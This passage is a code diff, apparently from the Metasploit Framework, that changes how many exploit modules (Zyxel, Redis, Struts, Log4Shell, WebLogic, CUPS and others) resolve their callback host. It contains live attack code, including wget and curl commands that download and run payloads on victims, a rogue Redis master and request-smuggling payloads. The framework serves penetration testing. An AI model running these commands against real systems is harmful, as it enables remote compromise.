-    resource_uri = "/#{payload_file}"
-
     # Command that will download @payload_exe and execute it
-    download_cmd = "wget http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri};chmod +x #{payload_file};.#{resource_uri}"
+    download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}"
 
-    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    http_service = "http://#{srv_host}:#{srv_port}"
+    print_status("Starting up our web service on #{http_service} ...")
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
           on_request_uri(cli, req)
         end,
-        'Path' => resource_uri
+        'Path' => "/#{payload_file}"
       }
     })
 
diff --git a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
index 615a43e1daf36..a1252ea962711 100644
--- a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
+++ b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
@@ -129,8 +129,14 @@ def send_exploit(exploit_url)
   end
 
   def exploit
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
+    end
+
     print_status("Attempting to exploit #{target.name}")
 
+    srv_host = datastore['SRVHOST']
+    srv_port = datastore['SRVPORT']
     @cmd_file = rand_text_alpha_lower(1)
     payload_file = rand_text_alpha_lower(1)
 
@@ -143,10 +149,10 @@ def exploit
       # https:// can't be a substring as the zyxel parser won't be able to understand the URI
       download_cmd += '-k${IFS}https:`echo${IFS}//`'
     end
-    http_service = Rex::Socket.to_authority(srvhost_addr, srvport).to_s
-    download_cmd += "#{http_service}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"
+    download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"
 
-    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
+    http_service = "#{srv_host}:#{srv_port}"
+    print_status("Starting up our web service on #{http_service} ...")
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
index 0f8c2fdd1099c..1a90166e6ad27 100644
--- a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
+++ b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
@@ -111,6 +111,10 @@ def exploit
       @module_cmd = 'shell.exec'
     end
 
+    if srvhost == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
+    end
+
     #
     # Prepare for payload.
     #
@@ -130,7 +134,7 @@ def exploit
     #
     # Send the payload.
     #
-    redis_command('SLAVEOF', srvhost_addr, srvport.to_s)
+    redis_command('SLAVEOF', srvhost, srvport.to_s)
     redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)
     ::IO.select(nil, nil, nil, 2.0)
 
@@ -158,8 +162,14 @@ def exploit
   # We pretend to be a real redis server, and then slave the victim.
   #
   def start_rogue_server
-    socket = Rex::Socket::TcpServer.create({ 'LocalHost' => bindhost, 'LocalPort' => bindport })
-    print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}")
+    begin
+      socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })
+      print_status("Listening on #{srvhost}:#{srvport}")
+    rescue Rex::BindFailed
+      print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
+      print_status("Listening on 0.0.0.0:#{srvport}")
+      socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })
+    end
 
     rsock = socket.accept
     vprint_status('Accepted a connection')
diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
index d78eeda1a4fea..46d2f7d037d19 100644
--- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
+++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
@@ -111,14 +111,23 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url_payload = datastore['DOWNHOST'] + resource_uri
     else
+
       # Needs to be on the port 80
       if datastore['SRVPORT'].to_i != 80
         fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
       end
 
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      service_url_payload = srvhost_addr + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+        srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      service_url_payload = srv_host + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb
index 87c0f2587e84b..8ced4df1fd0e1 100644
--- a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb
+++ b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb
@@ -200,8 +200,15 @@ def trigger_urlclassloader
 
     cf_url = Rex::Text.rand_text_alpha_lower(4)
 
+    srvhost = datastore['SRVHOST']
+
+    # Ensure SRVHOST is a routable IP address to our RHOST.
+    if Rex::Socket.addr_atoi(srvhost) == 0
+      srvhost = Rex::Socket.source_address(rhost)
+    end
+
     # Create a URL pointing back to our HTTP server.
-    cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}')/>"
+    cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"
 
     cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)
 
diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb
index c1a767ec3664a..47828f6b42960 100644
--- a/modules/exploits/multi/http/bassmaster_js_injection.rb
+++ b/modules/exploits/multi/http/bassmaster_js_injection.rb
@@ -142,9 +142,15 @@ def start_http_server
     @elf_sent = false
     downfile = rand_text_alpha(8 + rand(8))
     resource_uri = "\\x2f#{downfile}"
+    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
 
-    @service_url = "http:\\x2f\\x2f#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
-    print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
+    service_url_payload = srv_host + resource_uri
+    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/multi/http/cacti_graph_template_rce.rb b/modules/exploits/multi/http/cacti_graph_template_rce.rb
index 1c116167e8b6b..f159dfc0cbe78 100644
--- a/modules/exploits/multi/http/cacti_graph_template_rce.rb
+++ b/modules/exploits/multi/http/cacti_graph_template_rce.rb
@@ -39,7 +39,7 @@ def initialize(info = {})
         ],
         'References' => [
           [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],
-          [ 'GHSA', 'fxrq-fr7h-9rqq'],
+          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'],
           [ 'CVE', '2025-24367'],
         ],
         'Privileged' => false,
@@ -278,15 +278,18 @@ def authenticate
     end
   end
 
-  def validate
-    super
+  def validate_configuration!
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
+    end
 
-    if Rex::Socket.is_ipv6?(srvhost_addr)
-      raise Msf::OptionValidateError({ 'SRVHOST' => 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.' })
+    if Rex::Socket.is_ipv6?(datastore['SRVHOST'])
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.')
     end
   end
 
   def exploit
+    validate_configuration!
     authenticate
     hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)
     start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)
@@ -305,7 +308,7 @@ def exploit
     vprint_status("Payload execution command: #{execute_payload_command}")
 
     # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported
-    upload_payload_command = "curl\\x20#{srvhost_addr}\\x3a#{srvport}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
+    upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
     fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47
     upload_stage(upload_payload_command)
     execute_stage(execute_payload_command)
diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb
index 2468af39ae6ec..280c1dd6f7e79 100644
--- a/modules/exploits/multi/http/jboss_maindeployer.rb
+++ b/modules/exploits/multi/http/jboss_maindeployer.rb
@@ -96,7 +96,9 @@ def initialize(info = {})
         OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
         OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
         OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
+        OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
         OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
+
       ]
     )
   end
@@ -158,8 +160,8 @@ def exploit
     # UPLOAD
     #
     resource_uri = '/' + app_base + '.war'
-    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
-    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}#{resource_uri}...")
+    service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
+    print_status("Starting up our web service on #{service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
diff --git a/modules/exploits/multi/http/log4shell_header_injection.rb b/modules/exploits/multi/http/log4shell_header_injection.rb
index c48cb3b0bfb82..d372bde1ba9f4 100644
--- a/modules/exploits/multi/http/log4shell_header_injection.rb
+++ b/modules/exploits/multi/http/log4shell_header_injection.rb
@@ -112,7 +112,7 @@ def check_options
   end
 
   def resource_url_string
-    "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}#{resource_uri}"
+    "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
   end
 
   #
@@ -284,7 +284,11 @@ def start_http_service(opts = {})
     netloc = opts['ServerHost'] || bindhost
     http_srvport = (opts['ServerPort'] || bindport).to_i
     if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
-      netloc = Rex::Socket.to_authority(netloc, http_srvport)
+      if Rex::Socket.is_ipv6?(netloc)
+        netloc = "[#{netloc}]:#{http_srvport}"
+      else
+        netloc = "#{netloc}:#{http_srvport}"
+      end
     end
     print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}")
 
diff --git a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
index d1e3be3ed91f5..a93177cea9ea8 100644
--- a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
+++ b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
@@ -212,11 +212,11 @@ def trigger_http_request(exploit_data)
       'data' => "request=#{Rex::Text.uri_encode({
         'connectionType' => 'ftp',
         'configuration' => {
-          'host' => srvhost_addr,
+          'host' => datastore['SRVHOST'],
           'username' => exploit_data[:user],
           'initialDirectory' => '/',
           'password' => exploit_data[:pass],
-          'port' => srvport
+          'port' => datastore['SRVPORT']
         },
         'actionName' => 'downloadFile',
         'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
@@ -236,7 +236,7 @@ def exploit
     }
 
     start_ftp_service(exploit_data)
-    vprint_status("FTP server started on #{bindhost}:#{bindport}")
+    vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
 
     payload_name = trigger_http_request(exploit_data)
     fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name
diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
index c537796a11400..c0404b0fceb98 100644
--- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
+++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb
@@ -84,6 +84,15 @@ def initialize(info = {})
     self.needs_cleanup = true
   end
 
+  def lookup_lhost
+    # Get the source address
+    if datastore['SRVHOST'] == '0.0.0.0'
+      Rex::Socket.source_address('50.50.50.50')
+    else
+      datastore['SRVHOST']
+    end
+  end
+
   def on_new_session(session)
     cmds = []
     if @netmask_eth0
@@ -114,9 +123,9 @@ def start_web_service
     print_status('Setting up the Web Service...')
 
     resource_uri = '/' + @elfname + '.elf'
-    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
+    service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
 
-    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    print_status("Starting up our web service on #{service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
diff --git a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
index 273494892517e..7febf3a585a54 100644
--- a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
+++ b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
@@ -79,6 +79,7 @@ def initialize(info = {})
     register_options([
       Opt::RPORT(8000),
       OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
+      OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
       OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
       OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
       OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
@@ -178,7 +179,7 @@ def exploit
     @session_created = false
 
     # Step 1 : Start HTTP server for XSL file serving
-    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
     start_service(
       'Uri' => {
         'Proc' => proc { |cli, request| on_request_uri(cli, request) },
@@ -266,10 +267,13 @@ def retrieve_csrf_token
   end
 
   def create_smuggle_payload
-    netloc = Rex::Socket.to_authority(srvhost_addr, srvport)
+    srvhost = datastore['SRVHOST']
+    srvport = datastore['SRVPORT']
+
+    srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0'
 
     smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
-    smuggle_request += "Host: #{netloc}\r\n"
+    smuggle_request += "Host: #{srvhost}:#{srvport}\r\n"
     smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
     smuggle_request += "Connection: keep-alive\r\n"
 
@@ -280,7 +284,7 @@ def create_smuggle_payload
     # Add POST request via CRLF
     smuggle_request += "\r\n\r\n\r\nPOST /"
 
-    vprint_status("Smuggled request will target: #{netloc}")
+    vprint_status("Smuggled request will target: #{srvhost}:#{srvport}")
     vprint_status('Full smuggled request:')
     vprint_line(smuggle_request) if datastore['VERBOSE']
 
diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
index ba40ab67c2d2f..61d402700cb8d 100644
--- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
+++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
@@ -161,9 +161,15 @@ def start_http_server
     @elf_sent = false
     downfile = rand_text_alpha(8 + rand(8))
     resource_uri = '/' + downfile
+    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
 
-    @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
-    print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
+    service_url_payload = srv_host + resource_uri
+    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb
index 0a0092b195b79..0f33a902e707f 100644
--- a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb
+++ b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb
@@ -93,7 +93,9 @@ def initialize(info = {})
     )
 
     register_options([
-      OptString.new('TARGETURI', [true, 'Base path', '/'])
+      OptString.new('TARGETURI', [true, 'Base path', '/']),
+      # XXX: Ticket to improve this option across multiple modules: https://github.com/rapid7/metasploit-framework/issues/20986
+      OptAddressLocal.new('SRVHOST', [false, 'The local host or network interface to listen on. This must be an address on the local machine.', nil])
     ])
   end
 
@@ -182,8 +184,17 @@ def get_target_service(session_ctx)
     # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
     return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
 
+    # XXX: Determine SRVHOST based on global SRVHOST, RHOST or an arbitrary internet address so that it is a bindable, and hopefully routable address
+    #      Original pattern from: https://github.com/rapid7/metasploit-framework/blob/c0f73038f3fb4f76b4ed8a0c661be35639a9d1fc/lib/msf/core/payload.rb#L474-L475
+    #      Related: https://github.com/rapid7/metasploit-framework/issues/20986
+    srvhost = datastore['SRVHOST'] || Rex::Socket.source_address(datastore['RHOST'] || '50.50.50.50')
+
+    if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
+    end
+
     # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
-    print_status("Serving a malicious extension over an SMB share on #{bindhost} (SMB on TCP port 445)")
+    print_status("Serving a malicious extension over an SMB share on #{srvhost} (SMB on TCP port 445)")
 
     smb_service = SimpleSMBShareWrapper.new
 
diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb
index 84d8b4bcf706f..861222cbee686 100644
--- a/modules/exploits/multi/http/struts_code_exec.rb
+++ b/modules/exploits/multi/http/struts_code_exec.rb
@@ -98,8 +98,9 @@ def execute_command(cmd, _opts = {})
   end
 
   def windows_stager
-    print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
-    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
+    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ temp: '.', tftphost: tftphost })
     @payload_exe = generate_payload_exe
 
     print_status('Attempting to execute the payload...')
diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
index 112813d6ca591..4cf33d2d0d488 100644
--- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
+++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
@@ -109,8 +109,9 @@ def execute_command(cmd, _opts = {})
   def windows_stager
     rand_text_alphanumeric(rand(4..7))
 
-    print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
-    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
+    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ temp: '.', tftphost: tftphost })
     @payload_exe = generate_payload_exe
 
     print_status('Attempting to execute the payload...')
diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb
index 0207bd2309907..57aec4e2b967c 100644
--- a/modules/exploits/multi/http/struts_default_action_mapper.rb
+++ b/modules/exploits/multi/http/struts_default_action_mapper.rb
@@ -119,7 +119,14 @@ def on_new_session(session)
   end
 
   def start_http_service
-    print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
+    if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+      srv_host = Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
+
+    service_url = srv_host + ':' + datastore['SRVPORT'].to_s
+    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
@@ -130,7 +137,7 @@ def start_http_service
       'ssl' => false # do not use SSL
     })
 
-    return Rex::Socket.to_authority(srvhost_addr, srvport)
+    return service_url
   end
 
   def check
diff --git a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb
index 3d0b9c628b0bc..639006684f656 100644
--- a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb
+++ b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb
@@ -157,9 +157,11 @@ def auth(user, pass)
 
   def create_widget(admin_token)
     platform = target.platform.names.first
+    host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
+    port = datastore['SRVPORT']
     proto = datastore['SSL'] ? 'https' : 'http'
     payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
-    url = "#{proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{get_resource}/#{payload_name}"
+    url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
     widget = Widget.new(platform, url, generate_cmdstager(
       'Path' => "#{get_resource}/#{payload_name}",
       'temp' => '/tmp',
diff --git a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
index ef5b60e4915c2..e63a90660deb4 100644
--- a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
+++ b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
@@ -157,9 +157,16 @@ def start_http_server
     downfile = rand_text_alpha(8 + rand(8))
     resource_uri = '/' + downfile
 
-    @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
+    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
+
+    @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+    service_url_payload = srv_host + resource_uri
 
-    print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
     start_service({
       'Uri' => {
         'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/multi/http/wondercms_rce.rb b/modules/exploits/multi/http/wondercms_rce.rb
index 17a86091d6aa4..2c2146f6942c6 100644
--- a/modules/exploits/multi/http/wondercms_rce.rb
+++ b/modules/exploits/multi/http/wondercms_rce.rb
@@ -143,11 +143,15 @@ def install_malicious_component
 
     send_request_cgi!({
       'method' => 'GET',
-      'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{srvhost_addr}:#{srvport}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
+      'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
     })
   end
 
   def exploit
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
+    end
+
     login
 
     create_vulnerable_zip
diff --git a/modules/exploits/multi/http/wp_popular_posts_rce.rb b/modules/exploits/multi/http/wp_popular_posts_rce.rb
index 71e6d2d5014d5..6984a80504b66 100644
--- a/modules/exploits/multi/http/wp_popular_posts_rce.rb
+++ b/modules/exploits/multi/http/wp_popular_posts_rce.rb
@@ -391,6 +391,7 @@ def get_widget
   end
 
   def exploit
+    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
     cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
 
     if cookie.nil?
diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb
index 817ff60876855..715a1a01fb8db 100644
--- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb
+++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb
@@ -107,7 +107,6 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr
     register_options(
       [
         Opt::RPORT(7001),
-        OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']),
         OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
       ]
     )
@@ -300,7 +299,7 @@ def resource_uri
   # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
   # this URL when it tries to fetch the class to be loaded and instantiated.
   def ldap_url_string
-    "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}/"
+    "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"
   end
 
   #
@@ -398,6 +397,10 @@ def build_ldap_search_response_payload
 
   # Main Exploit
   def exploit
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')
+    end
+
     if @version.blank?
       @version = get_weblogic_version
     end
diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
index 2317613a6dc20..16fdd91f2be40 100644
--- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
+++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
@@ -179,6 +179,7 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
+        OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
         OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
       ]
     )
@@ -187,8 +188,12 @@ def initialize(info = {})
   def validate
     super
 
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })
+    end
